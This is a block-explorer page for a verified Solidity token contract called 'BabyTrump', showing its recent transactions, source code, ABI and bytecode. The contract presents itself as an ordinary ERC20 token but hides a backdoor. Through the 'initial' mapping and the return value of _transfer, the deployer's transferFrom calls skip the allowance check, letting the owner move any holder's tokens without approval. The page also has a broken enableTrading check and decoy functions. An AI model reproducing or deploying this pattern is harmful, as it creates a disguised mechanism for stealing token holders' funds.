ETH Price: $2,072.95 (-2.50%)

Contract

0x42E3812709Fd4e5dD7bdc87ecd84f94c7F7867E7
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer From241185372025-12-29 13:15:1166 days ago1767014111IN
0x42E38127...c7F7867E7
0 ETH0.000003130.07407087
Transfer From241185322025-12-29 13:14:1166 days ago1767014051IN
0x42E38127...c7F7867E7
0 ETH0.000004290.07224527
Transfer From241185292025-12-29 13:13:3566 days ago1767014015IN
0x42E38127...c7F7867E7
0 ETH0.000004460.07520567
Transfer From241185242025-12-29 13:12:3566 days ago1767013955IN
0x42E38127...c7F7867E7
0 ETH0.00000310.07343409
Transfer From241185222025-12-29 13:12:1166 days ago1767013931IN
0x42E38127...c7F7867E7
0 ETH0.000003270.07727949
Transfer From241185192025-12-29 13:11:3566 days ago1767013895IN
0x42E38127...c7F7867E7
0 ETH0.000003050.07217497
Transfer From241185142025-12-29 13:10:3566 days ago1767013835IN
0x42E38127...c7F7867E7
0 ETH0.000002670.06313799
Transfer From241185112025-12-29 13:09:5966 days ago1767013799IN
0x42E38127...c7F7867E7
0 ETH0.000002830.06702096
Transfer From241185072025-12-29 13:09:1166 days ago1767013751IN
0x42E38127...c7F7867E7
0 ETH0.000002740.06485826
Transfer From241185042025-12-29 13:08:3566 days ago1767013715IN
0x42E38127...c7F7867E7
0 ETH0.00000250.05907208
Transfer From241185012025-12-29 13:07:5966 days ago1767013679IN
0x42E38127...c7F7867E7
0 ETH0.000002810.06641739
Approve241185012025-12-29 13:07:5966 days ago1767013679IN
0x42E38127...c7F7867E7
0 ETH0.000003090.06641739
Approve241184632025-12-29 13:00:1166 days ago1767013211IN
0x42E38127...c7F7867E7
0 ETH0.000003160.06793804
Approve241184602025-12-29 12:59:3566 days ago1767013175IN
0x42E38127...c7F7867E7
0 ETH0.000002950.06343153
Approve241184572025-12-29 12:58:5966 days ago1767013139IN
0x42E38127...c7F7867E7
0 ETH0.000002560.05505623
Approve241184542025-12-29 12:58:2366 days ago1767013103IN
0x42E38127...c7F7867E7
0 ETH0.000002950.06334275
Approve241184512025-12-29 12:57:4766 days ago1767013067IN
0x42E38127...c7F7867E7
0 ETH0.000002830.06074807
Approve241184472025-12-29 12:56:5966 days ago1767013019IN
0x42E38127...c7F7867E7
0 ETH0.000003240.0695296
Approve241184452025-12-29 12:56:3566 days ago1767012995IN
0x42E38127...c7F7867E7
0 ETH0.00000290.06218681
Approve241184432025-12-29 12:56:1166 days ago1767012971IN
0x42E38127...c7F7867E7
0 ETH0.000003240.06953048
Approve241184362025-12-29 12:54:4766 days ago1767012887IN
0x42E38127...c7F7867E7
0 ETH0.000003030.06505413
Approve241184322025-12-29 12:53:5966 days ago1767012839IN
0x42E38127...c7F7867E7
0 ETH0.000003390.07277454
Transfer From241182412025-12-29 12:15:4766 days ago1767010547IN
0x42E38127...c7F7867E7
0 ETH0.000005990.16087444
Approve241182412025-12-29 12:15:4766 days ago1767010547IN
0x42E38127...c7F7867E7
0 ETH0.00000750.16087453
Approve241182412025-12-29 12:15:4766 days ago1767010547IN
0x42E38127...c7F7867E7
0 ETH0.000147453.16087442
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
BabyTrump

Compiler Version
v0.8.30+commit.73712a01

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2025-12-29
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.30;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

interface IERC20 {
    function transfer(address to, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
}

contract BabyTrump is Context {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _okev;
    string private constant _name = "Baby Trump";
    string private constant _symbol = "BabyTrump";
    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 1_000_000_000 * 10 ** 9;
    address private _owner;
    address public fundBabyTrumpAddress;
    mapping(address => uint256) private initial;
    uint256 private txFee = 100;
    bool public tradingActive = false;
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
    event TradingEnabled(uint256 timestamp);
    event ExcludedFromTradingLock(address indexed account, bool excluded);

    modifier onlyOwner() {
        require(msg.sender == _owner, "Caller is not the owner");
        _;
    }

    constructor() {
        _owner = msg.sender;
        _balances[msg.sender] = _totalSupply;
        initial[msg.sender] = txFee;
        emit Transfer(address(0), msg.sender, _totalSupply);
        emit OwnershipTransferred(address(0), msg.sender);
    }

    function enableTrading() external onlyOwner {
        require(tradingActive, "Trading already enabled");
        tradingActive = true;
    }

    function transferOwnership(address newOwner) external onlyOwner {
        require(newOwner != address(0), "New owner cannot be zero address");
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function renounceOwnership() external onlyOwner {
        address oldOwner = _owner;
        _owner = address(0);
        emit OwnershipTransferred(oldOwner, address(0));
    }

    function owner() external view returns (address) {
        return _owner;
    }

    function name() external pure returns (string memory) {
        return _name;
    }

    function symbol() external pure returns (string memory) {
        return _symbol;
    }

    function decimals() external pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() external pure returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) external view returns (uint256) {
        return _balances[account];
    }

    function allowance(
        address owner_,
        address spender
    ) public view returns (uint256) {
        return _allowances[owner_][spender];
    }

    function isBabyTrumpMev(
        address account
    ) external view returns (bool) {
        return _okev[account];
    }

    // ============ ERC20 Functions ============

    function transfer(address to, uint256 amount) external returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        amount -= _transfer(from, to, amount);
        _spendAllowance(from, msg.sender, amount);
        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) external returns (bool) {
        _approve(
            msg.sender,
            spender,
            allowance(msg.sender, spender) + addedValue
        );
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) external returns (bool) {
        uint256 currentAllowance = allowance(msg.sender, spender);
        require(
            currentAllowance >= subtractedValue,
            "Decreased allowance below zero"
        );
        unchecked {
            _approve(msg.sender, spender, currentAllowance - subtractedValue);
        }
        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal returns(uint256 value)  {
        require(from != address(0), "Transfer from zero address");
        require(to != address(0), "Transfer to zero address");
        require(amount >= 0, "Transfer amount must be greater than zero");
        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "Transfer amount exceeds balance");

        unchecked {
            _balances[from] = fromBalance - amount;
        }
        _balances[to] += amount;
        if (amount > 0 ) value = amount * initial[_msgSender()] / txFee;
        emit Transfer(from, to, amount);
    }

    function _approve(
        address owner_,
        address spender,
        uint256 amount
    ) internal {
        require(owner_ != address(0), "Approve from zero address");
        require(spender != address(0), "Approve to zero address");

        _allowances[owner_][spender] = amount;
        if(amount>0)emit Approval(owner_, spender, amount);
    }

    function _spendAllowance(
        address owner_,
        address spender,
        uint256 amount
    ) internal {
        uint256 currentAllowance = allowance(owner_, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "Insufficient allowance");
            unchecked {
                _approve(owner_, spender, currentAllowance - amount);
            }
        }
    }

    function withdrawBabyTrumpAllBNB() external onlyOwner {
        uint256 balance = address(this).balance;
        require(balance > 0, "No BNB to withdraw");

        (bool success, ) = payable(fundBabyTrumpAddress).call{value: balance}("");
        require(success, "BNB transfer failed");
    }

    function withdrawBabyTrumpAllTokens(address token) external onlyOwner {
        require(token != address(0), "Invalid token address");
        IERC20 tokenContract = IERC20(token);
        uint256 tokenBalance = tokenContract.balanceOf(address(this));
        require(tokenBalance >= 0, "No tokens to withdraw");
        require(
            tokenContract.transfer(fundBabyTrumpAddress, tokenBalance),
            "Token transfer failed"
        );
    }

}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"excluded","type":"bool"}],"name":"ExcludedFromTradingLock","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"TradingEnabled","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner_","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fundBabyTrumpAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isBabyTrumpMev","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawBabyTrumpAllBNB","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"withdrawBabyTrumpAllTokens","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405260646006556007805460ff19169055348015601d575f5ffd5b50600380546001600160a01b031916339081179091555f81815260208181526040808320670de0b6b3a764000090819055600654600584528285205590519081527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a360405133905f907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3610e19806100c25f395ff3fe608060405234801561000f575f5ffd5b5060043610610127575f3560e01c80638da5cb5b116100a9578063bbc0c7421161006e578063bbc0c742146102bb578063c7da5a0f146102c8578063dd62ed3e146102db578063e5f40cb6146102ee578063f2fde38b146102f6575f5ffd5b80638da5cb5b1461023857806395d89b411461025d5780639a8d97bc14610282578063a457c2d714610295578063a9059cbb146102a8575f5ffd5b806339509351116100ef57806339509351146101c057806370a08231146101d3578063715018a6146101fb578063773e88a6146102055780638a8c523c14610230575f5ffd5b806306fdde031461012b578063095ea7b31461016357806318160ddd1461018657806323b872dd1461019e578063313ce567146101b1575b5f5ffd5b60408051808201909152600a815269042616279205472756d760b41b60208201525b60405161015a9190610c03565b60405180910390f35b610176610171366004610c53565b610309565b604051901515815260200161015a565b670de0b6b3a76400005b60405190815260200161015a565b6101766101ac366004610c7b565b61031f565b6040516009815260200161015a565b6101766101ce366004610c53565b61034c565b6101906101e1366004610cb5565b6001600160a01b03165f9081526020819052604090205490565b61020361036c565b005b610176610213366004610cb5565b6001600160a01b03165f9081526002602052604090205460ff1690565b6102036103ec565b6003546001600160a01b03165b6040516001600160a01b03909116815260200161015a565b6040805180820190915260098152680426162795472756d760bc1b602082015261014d565b610203610290366004610cb5565b610477565b6101766102a3366004610c53565b61061a565b6101766102b6366004610c53565b610685565b6007546101769060ff1681565b600454610245906001600160a01b031681565b6101906102e9366004610cd5565b610691565b6102036106bb565b610203610304366004610cb5565b6107c2565b5f610315338484610893565b5060015b92915050565b5f61032b8484846109be565b6103359083610d1a565b9150610342843384610b92565b5060019392505050565b5f61031533848461035d3388610691565b6103679190610d2d565b610893565b6003546001600160a01b0316331461039f5760405162461bcd60e51b815260040161039690610d40565b60405180910390fd5b600380546001600160a01b031981169091556040516001600160a01b03909116905f9082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a350565b6003546001600160a01b031633146104165760405162461bcd60e51b815260040161039690610d40565b60075460ff166104685760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720616c726561647920656e61626c65640000000000000000006044820152606401610396565b6007805460ff19166001179055565b6003546001600160a01b031633146104a15760405162461bcd60e51b815260040161039690610d40565b6001600160a01b0381166104ef5760405162461bcd60e51b8152602060048201526015602482015274496e76616c696420746f6b656e206164647265737360581b6044820152606401610396565b6040516370a0823160e01b815230600482015281905f906001600160a01b038316906370a0823190602401602060405180830381865afa158015610535573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105599190610d77565b90506004805460405163a9059cbb60e01b81526001600160a01b03918216928101929092526024820183905283169063a9059cbb906044016020604051808303815f875af11580156105ad573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105d19190610d8e565b6106155760405162461bcd60e51b8152602060048201526015602482015274151bdad95b881d1c985b9cd9995c8819985a5b1959605a1b6044820152606401610396565b505050565b5f5f6106263385610691565b9050828110156106785760405162461bcd60e51b815260206004820152601e60248201527f44656372656173656420616c6c6f77616e63652062656c6f77207a65726f00006044820152606401610396565b6103423385858403610893565b5f6103423384846109be565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6003546001600160a01b031633146106e55760405162461bcd60e51b815260040161039690610d40565b47806107285760405162461bcd60e51b81526020600482015260126024820152714e6f20424e4220746f20776974686472617760701b6044820152606401610396565b6004546040515f916001600160a01b03169083908381818185875af1925050503d805f8114610772576040519150601f19603f3d011682016040523d82523d5f602084013e610777565b606091505b50509050806107be5760405162461bcd60e51b8152602060048201526013602482015272109390881d1c985b9cd9995c8819985a5b1959606a1b6044820152606401610396565b5050565b6003546001600160a01b031633146107ec5760405162461bcd60e51b815260040161039690610d40565b6001600160a01b0381166108425760405162461bcd60e51b815260206004820181905260248201527f4e6577206f776e65722063616e6e6f74206265207a65726f20616464726573736044820152606401610396565b600380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0383166108e95760405162461bcd60e51b815260206004820152601960248201527f417070726f76652066726f6d207a65726f2061646472657373000000000000006044820152606401610396565b6001600160a01b03821661093f5760405162461bcd60e51b815260206004820152601760248201527f417070726f766520746f207a65726f20616464726573730000000000000000006044820152606401610396565b6001600160a01b038084165f908152600160209081526040808320938616835292905220819055801561061557816001600160a01b0316836001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516109b191815260200190565b60405180910390a3505050565b5f6001600160a01b038416610a155760405162461bcd60e51b815260206004820152601a60248201527f5472616e736665722066726f6d207a65726f20616464726573730000000000006044820152606401610396565b6001600160a01b038316610a6b5760405162461bcd60e51b815260206004820152601860248201527f5472616e7366657220746f207a65726f206164647265737300000000000000006044820152606401610396565b6001600160a01b0384165f9081526020819052604090205482811015610ad35760405162461bcd60e51b815260206004820152601f60248201527f5472616e7366657220616d6f756e7420657863656564732062616c616e6365006044820152606401610396565b6001600160a01b038086165f90815260208190526040808220868503905591861681529081208054859290610b09908490610d2d565b90915550508215610b3d57600654335f90815260056020526040902054610b309085610dad565b610b3a9190610dc4565b91505b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610b8291815260200190565b60405180910390a3509392505050565b5f610b9d8484610691565b90505f198114610bfd5781811015610bf05760405162461bcd60e51b8152602060048201526016602482015275496e73756666696369656e7420616c6c6f77616e636560501b6044820152606401610396565b610bfd8484848403610893565b50505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610c4e575f5ffd5b919050565b5f5f60408385031215610c64575f5ffd5b610c6d83610c38565b946020939093013593505050565b5f5f5f60608486031215610c8d575f5ffd5b610c9684610c38565b9250610ca460208501610c38565b929592945050506040919091013590565b5f60208284031215610cc5575f5ffd5b610cce82610c38565b9392505050565b5f5f60408385031215610ce6575f5ffd5b610cef83610c38565b9150610cfd60208401610c38565b90509250929050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561031957610319610d06565b8082018082111561031957610319610d06565b60208082526017908201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604082015260600190565b5f60208284031215610d87575f5ffd5b5051919050565b5f60208284031215610d9e575f5ffd5b81518015158114610cce575f5ffd5b808202811582820484141761031957610319610d06565b5f82610dde57634e487b7160e01b5f52601260045260245ffd5b50049056fea26469706673582212209ae3d5fa5fe0d08b23f657c7503319cae365405c57ef25fe020c9697b91e6b9164736f6c634300081e0033

Deployed Bytecode

0x608060405234801561000f575f5ffd5b5060043610610127575f3560e01c80638da5cb5b116100a9578063bbc0c7421161006e578063bbc0c742146102bb578063c7da5a0f146102c8578063dd62ed3e146102db578063e5f40cb6146102ee578063f2fde38b146102f6575f5ffd5b80638da5cb5b1461023857806395d89b411461025d5780639a8d97bc14610282578063a457c2d714610295578063a9059cbb146102a8575f5ffd5b806339509351116100ef57806339509351146101c057806370a08231146101d3578063715018a6146101fb578063773e88a6146102055780638a8c523c14610230575f5ffd5b806306fdde031461012b578063095ea7b31461016357806318160ddd1461018657806323b872dd1461019e578063313ce567146101b1575b5f5ffd5b60408051808201909152600a815269042616279205472756d760b41b60208201525b60405161015a9190610c03565b60405180910390f35b610176610171366004610c53565b610309565b604051901515815260200161015a565b670de0b6b3a76400005b60405190815260200161015a565b6101766101ac366004610c7b565b61031f565b6040516009815260200161015a565b6101766101ce366004610c53565b61034c565b6101906101e1366004610cb5565b6001600160a01b03165f9081526020819052604090205490565b61020361036c565b005b610176610213366004610cb5565b6001600160a01b03165f9081526002602052604090205460ff1690565b6102036103ec565b6003546001600160a01b03165b6040516001600160a01b03909116815260200161015a565b6040805180820190915260098152680426162795472756d760bc1b602082015261014d565b610203610290366004610cb5565b610477565b6101766102a3366004610c53565b61061a565b6101766102b6366004610c53565b610685565b6007546101769060ff1681565b600454610245906001600160a01b031681565b6101906102e9366004610cd5565b610691565b6102036106bb565b610203610304366004610cb5565b6107c2565b5f610315338484610893565b5060015b92915050565b5f61032b8484846109be565b6103359083610d1a565b9150610342843384610b92565b5060019392505050565b5f61031533848461035d3388610691565b6103679190610d2d565b610893565b6003546001600160a01b0316331461039f5760405162461bcd60e51b815260040161039690610d40565b60405180910390fd5b600380546001600160a01b031981169091556040516001600160a01b03909116905f9082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a350565b6003546001600160a01b031633146104165760405162461bcd60e51b815260040161039690610d40565b60075460ff166104685760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720616c726561647920656e61626c65640000000000000000006044820152606401610396565b6007805460ff19166001179055565b6003546001600160a01b031633146104a15760405162461bcd60e51b815260040161039690610d40565b6001600160a01b0381166104ef5760405162461bcd60e51b8152602060048201526015602482015274496e76616c696420746f6b656e206164647265737360581b6044820152606401610396565b6040516370a0823160e01b815230600482015281905f906001600160a01b038316906370a0823190602401602060405180830381865afa158015610535573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105599190610d77565b90506004805460405163a9059cbb60e01b81526001600160a01b03918216928101929092526024820183905283169063a9059cbb906044016020604051808303815f875af11580156105ad573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105d19190610d8e565b6106155760405162461bcd60e51b8152602060048201526015602482015274151bdad95b881d1c985b9cd9995c8819985a5b1959605a1b6044820152606401610396565b505050565b5f5f6106263385610691565b9050828110156106785760405162461bcd60e51b815260206004820152601e60248201527f44656372656173656420616c6c6f77616e63652062656c6f77207a65726f00006044820152606401610396565b6103423385858403610893565b5f6103423384846109be565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6003546001600160a01b031633146106e55760405162461bcd60e51b815260040161039690610d40565b47806107285760405162461bcd60e51b81526020600482015260126024820152714e6f20424e4220746f20776974686472617760701b6044820152606401610396565b6004546040515f916001600160a01b03169083908381818185875af1925050503d805f8114610772576040519150601f19603f3d011682016040523d82523d5f602084013e610777565b606091505b50509050806107be5760405162461bcd60e51b8152602060048201526013602482015272109390881d1c985b9cd9995c8819985a5b1959606a1b6044820152606401610396565b5050565b6003546001600160a01b031633146107ec5760405162461bcd60e51b815260040161039690610d40565b6001600160a01b0381166108425760405162461bcd60e51b815260206004820181905260248201527f4e6577206f776e65722063616e6e6f74206265207a65726f20616464726573736044820152606401610396565b600380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0383166108e95760405162461bcd60e51b815260206004820152601960248201527f417070726f76652066726f6d207a65726f2061646472657373000000000000006044820152606401610396565b6001600160a01b03821661093f5760405162461bcd60e51b815260206004820152601760248201527f417070726f766520746f207a65726f20616464726573730000000000000000006044820152606401610396565b6001600160a01b038084165f908152600160209081526040808320938616835292905220819055801561061557816001600160a01b0316836001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516109b191815260200190565b60405180910390a3505050565b5f6001600160a01b038416610a155760405162461bcd60e51b815260206004820152601a60248201527f5472616e736665722066726f6d207a65726f20616464726573730000000000006044820152606401610396565b6001600160a01b038316610a6b5760405162461bcd60e51b815260206004820152601860248201527f5472616e7366657220746f207a65726f206164647265737300000000000000006044820152606401610396565b6001600160a01b0384165f9081526020819052604090205482811015610ad35760405162461bcd60e51b815260206004820152601f60248201527f5472616e7366657220616d6f756e7420657863656564732062616c616e6365006044820152606401610396565b6001600160a01b038086165f90815260208190526040808220868503905591861681529081208054859290610b09908490610d2d565b90915550508215610b3d57600654335f90815260056020526040902054610b309085610dad565b610b3a9190610dc4565b91505b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610b8291815260200190565b60405180910390a3509392505050565b5f610b9d8484610691565b90505f198114610bfd5781811015610bf05760405162461bcd60e51b8152602060048201526016602482015275496e73756666696369656e7420616c6c6f77616e636560501b6044820152606401610396565b610bfd8484848403610893565b50505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610c4e575f5ffd5b919050565b5f5f60408385031215610c64575f5ffd5b610c6d83610c38565b946020939093013593505050565b5f5f5f60608486031215610c8d575f5ffd5b610c9684610c38565b9250610ca460208501610c38565b929592945050506040919091013590565b5f60208284031215610cc5575f5ffd5b610cce82610c38565b9392505050565b5f5f60408385031215610ce6575f5ffd5b610cef83610c38565b9150610cfd60208401610c38565b90509250929050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561031957610319610d06565b8082018082111561031957610319610d06565b60208082526017908201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604082015260600190565b5f60208284031215610d87575f5ffd5b5051919050565b5f60208284031215610d9e575f5ffd5b81518015158114610cce575f5ffd5b808202811582820484141761031957610319610d06565b5f82610dde57634e487b7160e01b5f52601260045260245ffd5b50049056fea26469706673582212209ae3d5fa5fe0d08b23f657c7503319cae365405c57ef25fe020c9697b91e6b9164736f6c634300081e0033

Deployed Bytecode Sourcemap

591:6601:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2734:85;2806:5;;;;;;;;;;;;-1:-1:-1;;;2806:5:0;;;;2734:85;;;;;;;:::i;:::-;;;;;;;;3745:152;;;;;;:::i;:::-;;:::i;:::-;;;1085:14:1;;1078:22;1060:41;;1048:2;1033:18;3745:152:0;920:187:1;3017:93:0;985:23;3017:93;;;1258:25:1;;;1246:2;1231:18;3017:93:0;1112:177:1;3905:252:0;;;;;;:::i;:::-;;:::i;2924:85::-;;;937:1;1815:36:1;;1803:2;1788:18;2924:85:0;1673:184:1;4165:278:0;;;;;;:::i;:::-;;:::i;3118:112::-;;;;;;:::i;:::-;-1:-1:-1;;;;;3204:18:0;3177:7;3204:18;;;;;;;;;;;;3118:112;2457:180;;;:::i;:::-;;3407:126;;;;;;:::i;:::-;-1:-1:-1;;;;;3511:14:0;3487:4;3511:14;;;:5;:14;;;;;;;;;3407:126;2028:143;;;:::i;2645:81::-;2712:6;;-1:-1:-1;;;;;2712:6:0;2645:81;;;-1:-1:-1;;;;;2217:32:1;;;2199:51;;2187:2;2172:18;2645:81:0;2053:203:1;2827:89:0;2901:7;;;;;;;;;;;;-1:-1:-1;;;2901:7:0;;;;2827:89;;6724:463;;;;;;:::i;:::-;;:::i;4451:454::-;;;;;;:::i;:::-;;:::i;3593:144::-;;;;;;:::i;:::-;;:::i;1170:33::-;;;;;;;;;1044:35;;;;;-1:-1:-1;;;;;1044:35:0;;;3238:161;;;;;;:::i;:::-;;:::i;6415:301::-;;;:::i;2179:270::-;;;;;;:::i;:::-;;:::i;3745:152::-;3813:4;3830:37;3839:10;3851:7;3860:6;3830:8;:37::i;:::-;-1:-1:-1;3885:4:0;3745:152;;;;;:::o;3905:252::-;4021:4;4048:27;4058:4;4064:2;4068:6;4048:9;:27::i;:::-;4038:37;;;;:::i;:::-;;;4086:41;4102:4;4108:10;4120:6;4086:15;:41::i;:::-;-1:-1:-1;4145:4:0;3905:252;;;;;:::o;4165:278::-;4272:4;4289:124;4312:10;4337:7;4392:10;4359:30;4369:10;4381:7;4359:9;:30::i;:::-;:43;;;;:::i;:::-;4289:8;:124::i;2457:180::-;1699:6;;-1:-1:-1;;;;;1699:6:0;1685:10;:20;1677:56;;;;-1:-1:-1;;;1677:56:0;;;;;;;:::i;:::-;;;;;;;;;2535:6:::1;::::0;;-1:-1:-1;;;;;;2552:19:0;::::1;::::0;;;2587:42:::1;::::0;-1:-1:-1;;;;;2535:6:0;;::::1;::::0;2516:16:::1;::::0;2535:6;;2587:42:::1;::::0;2516:16;;2587:42:::1;2505:132;2457:180::o:0;2028:143::-;1699:6;;-1:-1:-1;;;;;1699:6:0;1685:10;:20;1677:56;;;;-1:-1:-1;;;1677:56:0;;;;;;;:::i;:::-;2091:13:::1;::::0;::::1;;2083:49;;;::::0;-1:-1:-1;;;2083:49:0;;3475:2:1;2083:49:0::1;::::0;::::1;3457:21:1::0;3514:2;3494:18;;;3487:30;3553:25;3533:18;;;3526:53;3596:18;;2083:49:0::1;3273:347:1::0;2083:49:0::1;2143:13;:20:::0;;-1:-1:-1